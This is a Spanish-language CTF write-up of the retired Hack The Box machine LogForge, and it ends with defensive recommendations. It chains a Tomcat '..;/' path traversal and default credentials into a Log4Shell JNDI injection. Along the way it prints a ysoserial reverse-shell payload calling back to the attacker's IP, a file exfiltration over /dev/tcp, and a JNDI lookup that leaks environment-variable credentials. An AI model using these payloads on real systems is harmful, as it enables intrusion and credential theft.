WriteUp LogForge – Hack The Box (HTB)

· · · · | CTF en WriteUp LogForge – Hack The Box (HTB)

El día de hoy vamos a resolver (WriteUp) una maquina retirada de Hack The Box (HTB) llamada LogForge. Este artículo forma parte de nuestra categoría HackTheBox.

Escaneo de Puertos de LogForge

Empezamos con ingresar a la maquina y obtener la dirección IP 10.10.11.138, para luego realizar una revisión de puertos mediante el programa Nmap con el siguiente comando:

sudo nmap 10.10.11.138 -p- --min-rate=5000 -sS -sC -sV -o nmap

Nmap nos devuelve lo siguiente:

# Nmap 7.92 scan initiated Sun Jan  9 17:25:42 2022 as: nmap -p- --min-rate=5000 -sS -sC -sV -o nmap 10.10.11.138
Warning: 10.10.11.138 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.138
Host is up (0.22s latency).
Not shown: 65282 closed tcp ports (reset), 251 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ultimate Hacking Championship
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan  9 17:31:42 2022 -- 1 IP address (1 host up) scanned in 359.66 seconds

Como podemos ver, tenemos un servicio web en el puerto 80 y un ssh en el puerto 21.

Web de LogForge

Ingresamos al sitio web y podemos ver que no hay mucha información en él.

HTB Logforge-web1

En el código fuente tampoco hay nada.

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Ultimate Hacking Championship</title>
<style>
body {
  background-image: url("images/logo.png");
  background-size: contain;
    background-repeat: no-repeat;
  background-color: #0c1f3b;
}
.main {
  display: flex;
  flex-direction: column;
  justify-content: center;
  text-align: center;
  line-height: 200px;
  color: #ffffff;
  font-size: 80px;
}
</style>
</head>
<body>
<div class="main">
<h1></h1>
<h2></h2>
</div>
</body>
</html>

Wfuzz

Realizaremos un ataque de diccionario para enumerar que archivos o directorios ocultos hay en el sitio web.

~$ wfuzz -u "http://10.10.11.138/FUZZ" -w /usr/share/dirb/wordlists/common.txt --hc 404 -t 200 

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.138/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000001:   200        32 L     48 W       489 Ch      "http://10.10.11.138/"                                                                                                       
000000286:   403        9 L      28 W       277 Ch      "admin"                                                                                                                      
000001920:   403        9 L      28 W       277 Ch      "host-manager"                                                                                                               
000001991:   302        0 L      0 W        0 Ch        "images"                                                                                                                     
000002436:   403        9 L      28 W       277 Ch      "manager"                                                                                                                    
000003588:   403        9 L      28 W       277 Ch      "server-status"                                                                                                              

Total time: 14.02928
Processed Requests: 4614
Filtered Requests: 4608
Requests/sec.: 328.8834

Path Traversal en tomcat de LogForge

Cuando ingresamos al directorio manager podemos ver que no tenemos permisos.

HTB Logforge-tomcat1Explotamos la vulnerabilidad path traversal para poder acceder a este directorio, para ello utilizaremos el payload “..;/“, la url seria la siguiente:

http://10.10.11.138/puto/..;/manager/10.10.11.138/puto/..;/manager/

Al acceder a la url nos pide credenciales, probaremos con las credenciales por defecto las cuales son tomcat:tomcat.

HTB Logforge-tomcat-loginLog4Shell

Estos días se ha hecho conocida una vulnerabilidad que ha tenido un gran impacto en Internet. La vulnerabilidad radica en una librería de logs en Java llamada log4j. Al ser una vulnerabilidad que afecta a una librería, todos los programas que usan esta son susceptible a ser comprometidos.

La maquina LogForge cuenta con Apache Tomcat, el cual utiliza Java, si buscamos un poco en la documentación, nos encontramos con lo siguiente:

Como existe la posibilidad de que sea vulnerable a log4shell vamos a probar con el siguiente payload:

${jndi:ldap://[IP]:1389/a}

De forma paralela, escucharemos con Netcat en el puerto 1389. De tal manera que si obtenemos una respuesta, podemos deducir que la instancia de Tomcat es vulnerable.

nc -lvp 1389

Probamos colocando nuestro payload en el panel de Tomcat y lo enviamos.

HTB Logforge-tomcat-test

Podemos ver que se generó una conexión en nuestro Netcat.

~$ nc -lvp 1389 
listening on [any] 1389 ...
10.10.11.138: inverse host lookup failed: Unknown host
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.138] 56596
0
 `

Realizando los preparativos

Para explotar esta vulnerabilidad necesitaremos de algunos proyectos que podemos encontrar en GitHub. Empezaremos con crear un archivo serializado que luego cargaremos a nuestro servidor ldap. Por ello usaremos el siguiente GitHub:

https://github.com/pimps/ysoserial-modified

~$ git clone https://github.com/pimps/ysoserial-modified
~$ cd ysoserial-modified/target
~$ java -jar ysoserial-modified.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
   ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
  Available payload types:
    BeanShell1 [org.beanshell:bsh:2.0b5]
    C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
    CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
    CommonsCollections1 [commons-collections:commons-collections:3.1]
    CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
    CommonsCollections3 [commons-collections:commons-collections:3.1]
    CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
    CommonsCollections5 [commons-collections:commons-collections:3.1]
    CommonsCollections6 [commons-collections:commons-collections:3.1]

Entonces, crearemos el archivo serializado con el siguiente comando:

java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.16.17/5555 0>&1' > /tmp/reverse.ser

Siendo:

  • java -jar ysoserial-modified.jar: Comando para ejecutar un archivo jar.
  • CommonsCollections5: El payload de serializacion que usaremos.
  • bash: la shell que especificaremos para ejecutar nuestro comando.
  • ‘bash -i >& /dev/tcp/10.10.16.17/5555 0>&1’: El comando que especificamos para que se ejecute, en este caso una shell inversa.
  • > /tmp/reverse.ser: Redireccion para almacenar la respuesta del comando en un archivo.

Con el archivo serializado, vamos a usar JNDI Exploit Kit para explotar la vulnerabilidad Log4Shell presente en la instancia de Tomcat. El contenido se puede encontrar en el siguiente repositorio:

https://github.com/pimps/JNDI-Exploit-Kit

Clonamos el repositorio y verificamos que este todo configurado.

~$ git clone https://github.com/pimps/JNDI-Exploit-Kit
~$ cd JNDI-Exploit-Kit/target
~$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar --help
       _ _   _ _____ _____      ______            _       _ _          _  ___ _   
      | | \ | |  __ \_   _|    |  ____|          | |     (_) |        | |/ (_) |  
      | |  \| | |  | || |______| |__  __  ___ __ | | ___  _| |_ ______| ' / _| |_ 
  _   | | . ` | |  | || |______|  __| \ \/ / '_ \| |/ _ \| | __|______|  < | | __|
 | |__| | |\  | |__| || |_     | |____ >  <| |_) | | (_) | | |_       | . \| | |_ 
  \____/|_| \_|_____/_____|    |______/_/\_\ .__/|_|\___/|_|\__|      |_|\_\_|\__|
                                           | |                                    
                                           |_|               created by @welk1n 
                                                             modified by @pimps 

Cmdlines parse failed.
usage: JNDI-Injection-Exploit
 -C <arg>   The command executed in remote .class.
 -H <arg>   Display the help menu.
 -J <arg>   The address of HTTP server (ip or domain). Format: IP:PORT
 -L <arg>   The address of LDAP server (ip or domain). Format: IP:PORT
 -N <arg>   A class name to be used for the deserialization payload
 -O <arg>   Change the Operation mode. Options are: ALL, HTTP, RMI, LDAP
 -P <arg>   Loads a YSOSerial binary payload to be used with LDAP Format:
            /tmp/payload.ser
 -R <arg>   The address of RMI server (ip or domain). Format: IP:PORT
 -S <arg>   Connect back IP:PORT string. DISCLAIMER: Only unix target
            supported

Corremos la herramienta usando el siguiente comando:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.16.17:1389 -P /tmp/reverse.ser
  • -L 10.10.16.17:1389: especificamos nuestra IP y el puerto donde correremos el servicio LDAP.
  • -P /tmp/reverse.ser: especificamos el archivo serializado que creamos anteriormente.

De todas las opciones que nos devuelve la herramienta, usamos la ruta ldap con el JDK 1.5.

jndi-exploit-kit-log4shell-1

Ingresamos el payload en el formulario de Tomcat y veremos que obtenemos una sesión en Netcat.

tomcat@LogForge:/var/lib/tomcat9$ cd /home/htb/
tomcat@LogForge:/home/htb$ ls
user.txt
tomcat@LogForge:/home/htb$ cat user.txt
5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9

Buscando servicios HTB LogForge WriteUp

Para buscar servicios que estén corriendo en el servidor usamos el comando netstat.

tomcat@LogForge:/var/lib/tomcat9$ netstat -tanpu
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        1      0 127.0.0.1:52202         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52198         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        0    286 10.10.11.138:51078      10.10.16.17:5555        ESTABLISHED 22861/bash          
tcp        1      0 127.0.0.1:52190         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52206         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52208         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        0      0 10.10.11.138:51030      10.10.16.17:5555        ESTABLISHED 9995/bash           
tcp        1      0 127.0.0.1:52194         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52204         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52192         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52196         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52212         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:52188         127.0.0.1:8080          CLOSE_WAIT  -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      824/java            
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   

Como podemos ver, existe un servicio corriendo en el puerto 21 el cual debe ser un FTP, para comprobarlo buscaremos el proceso con el comando ps.

tomcat@LogForge:/var/lib/tomcat9$ ps -aux | grep -i FTP
root         957  0.1  1.7 3576972 69380 ?       Sl   02:02   1:05 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
tomcat     23044  0.0  0.0   5188   660 pts/1    S+   16:33   0:00 grep -i FTP

Se puede observar que existe un servicio FTP que esta corriendo en la maquina usando Java. Buscamos el archivo .jar para ver si existe alguno que podamos leer.

tomcat@LogForge:/var/lib/tomcat9$ find / -name 'ftpServer-1.0-SNAPSHOT-all.jar' 2>/dev/null
/ftpServer-1.0-SNAPSHOT-all.jar 

Descargando el fichero JAR

Para esto lo que haremos será escuchar con Netcat desde nuestro computador.

nc -lvp 9696 > ftp.jar

Luego desde la maquina objetivo, ejecutamos el siguiente comando para enviarnos el fichero JAR del FTP.

tomcat@LogForge:/$ cat ftpServer-1.0-SNAPSHOT-all.jar > /dev/tcp/10.10.16.17/9696

Podemos observar como se realiza la conexión y se envía correctamente el archivo.

~$ nc -lvp 9696 > ftp.jar
listening on [any] 9696 ...
10.10.11.138: inverse host lookup failed: Unknown host
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.138] 53462
~$ ls -la ftp.jar            
.rw-r--r-- user user 2.0 MB Sun Jan  9 13:44:39 2022 ftp.jar

Analizando el fichero JAR

Para analizar un fichero .jar, vamos a utilizar Java Decompiler, para instalar y ejecutar usaremos los siguientes comandos:

~$ sudo apt-get install jd-gui
~$ jd-gui

Luego de abrir el programa y elegir el fichero jar, podemos ver una interfaz con la información del archivo.

HTB Logforge-jd-gui

Observamos que main.java.com.ippsec.ftpServer debe contener el código del servidor  FTP. También podemos ver como org.apache.logging.log4j contiene información sobre la librería de Log4j.

HTB Logforge-jd-gui-02

  1. Hacemos clic en main.java.com.ippsec.ftpServer
  2. Hacemos clic en la clase Worker
  3. Podemos ver como el usuario y contraseña del servidor se extraen de los valores de 2 variables de entorno, ftp_user y ftp_password respectivamente.

Extrayendo las variable de entorno con log4shell, HTB LogForge WriteUp

Lo que haremos será extraer las variables de entorno ftp_user y ftp_password, para ello usaremos el siguiente comando:

${jndi:ldap://10.10.16.17:1389/USER:${env:ftp_user}--PASS:${env:ftp_password}}
  • ${env:ftp_user}: obtiene el valor de la variable de entorno ftp_user.
  • ${env:ftp_password}: obtiene el valor de la variable de entorno ftp_password.

Primero utilizaremos Wireshark para interceptar los paquetes que se envíen a nuestro computador usando el payload anterior. Agregamos el filtro tcp.port == 1389 para que solo nos muestre los paquetes que pasen por ese puerto que definimos para el servicio ldap.

HTB Logforge-wireshark1

Accedemos al FTP de modo local y enviamos el payload en el parámetro usuario.

tomcat@LogForge:/$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.16.17:1389/USER:${env:ftp_user}--PASS:${env:ftp_password}}
530 Not logged in
Login failed.
Remote system type is FTP.
ftp>

Luego en Wireshark, veremos que se han creado varios paquetes.

HTB Logforge-wireshark2

  1. Hacemos clic a uno de los primeros paquetes azules
  2. Clic derecho y luego en Follow
  3. Se nos abrirá un nuevo menú, ahí le damos clic en TCP stream

Luego de ello, se abrirá una nueva ventana con la información de la solicitudes, podemos ver en ella el usuario y contraseña del servidor FTP.

logforge-wireshark3

Obteniendo el archivo root.txt HTB LogForge WriteUp

Ahora que tenemos las credenciales del FTP, nos dirigimos al directorio /tmp y nos conectamos desde ahí. Esto lo hacemos porque si nos conectamos desde cualquier ruta, cuando deseemos descargar algún archivo, existe el riesgo de que en el directorio donde nos ubiquemos no tengamos permiso de escritura.

tomcat@LogForge:/tmp$ cd /tmp
tomcat@LogForge:/tmp$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ippsec
331 User name okay, need password
Password:
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ftp> ls
200 Command OK
125 Opening ASCII mode data connection for file list.
.profile
.ssh
snap
ftpServer-1.0-SNAPSHOT-all.jar
.bashrc
.selected_editor
run.sh
.lesshst
.bash_history
root.txt
.viminfo
.cache
226 Transfer complete.

Como podemos observar, tenemos en el directorio del ftp el archivo root.txt, lo descargamos usando el comando get.

ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (169.6135 kB/s)
ftp> exit
221 Closing connection
tomcat@LogForge:/tmp$ cat root.txt
bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2

Conclusión HTB LogForge WriteUp

En base a las vulnerabilidades encontradas en el WriteUp de la máquina LogForge de HTB, se concluyen las siguientes recomendaciones:

  • Tener mucho cuidado con los programas o servicios que usen la librería Log4j, ya que al ser una vulnerabilidad reciente, los atacantes se encuentran muy pendientes de encontrar servicios vulnerables.
  • Con respecto al análisis de los ficheros jar, se recomienda realizar una ofuscación del código, para que de esta manera se dificulte más el trabajo de un atacante para leer el contenido del mismo.
  • Con respecto a la vulnerabilidad Path Traversal de Tomcat, se recomienda filtrar y denegar todas las solicitudes que contengan el carácter punto y coma (;).

Considerando que cada día se descubren múltiples vulnerabilidades web, se recomienda la realización de pruebas de Ethical Hacking de forma periódica, las cuales garantizan potenciar los controles de seguridad existentes en las aplicaciones web de su empresa.